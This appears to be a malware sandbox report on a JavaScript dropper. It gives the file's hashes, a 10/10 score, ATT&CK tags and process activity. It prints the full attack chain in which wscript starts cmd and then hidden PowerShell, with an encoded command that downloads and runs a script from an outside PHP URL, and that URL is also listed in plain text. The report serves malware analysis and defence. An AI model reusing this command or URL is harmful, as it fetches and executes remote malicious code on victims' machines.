d5a3d06ac6a8c9adc98332a6d6318f4c8975d3993554fdb9bbcf17ab4aa57d10

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
25-12-2023 15:17

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General

Target

28a527cbd650bf3317c7a1e4a1f49cb0.js
Size

65KB
MD5

28a527cbd650bf3317c7a1e4a1f49cb0
SHA1

771ed820c33b3cfa083c9a42793eefde5e944682
SHA256

d5a3d06ac6a8c9adc98332a6d6318f4c8975d3993554fdb9bbcf17ab4aa57d10
SHA512

3711abaf9599af9eb301deaad641939b2820c8888b63dbbb0343050f71dae649130609d288c142249a96647578b5001e915791efdfa65d43b5f79f9ab6ef7ae4
SSDEEP

1536:59Ry98guHVBqqg2bcruayUHmLKeZaMU7GwbWBPwVGWl9SZ8kV8Gp/5bzIEN4t/o9:59Ry98guHVBqqg2bcruzUHmLKeMMU7Gn

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://smart-integrator.hr/pornhub.php

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2804	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2804	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2804	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1740 wrote to memory of 2668	1740	wscript.exe	28
PID 1740 wrote to memory of 2668	1740	wscript.exe	28
PID 1740 wrote to memory of 2668	1740	wscript.exe	28
PID 2668 wrote to memory of 2804	2668	cmd.exe	30
PID 2668 wrote to memory of 2804	2668	cmd.exe	30
PID 2668 wrote to memory of 2804	2668	cmd.exe	30

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\28a527cbd650bf3317c7a1e4a1f49cb0.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2668
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2804

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2804-5-0x000000001B680000-0x000000001B962000-memory.dmp

Filesize
2.9MB

Download
memory/2804-6-0x0000000002290000-0x0000000002298000-memory.dmp

Filesize
32KB

Download
memory/2804-7-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

Filesize
9.6MB

Download
memory/2804-8-0x0000000002EB0000-0x0000000002F30000-memory.dmp

Filesize
512KB

Download
memory/2804-11-0x0000000002EB0000-0x0000000002F30000-memory.dmp

Filesize
512KB

Download
memory/2804-10-0x0000000002EB0000-0x0000000002F30000-memory.dmp

Filesize
512KB

Download
memory/2804-9-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

Filesize
9.6MB

Download
memory/2804-12-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

Filesize
9.6MB

Download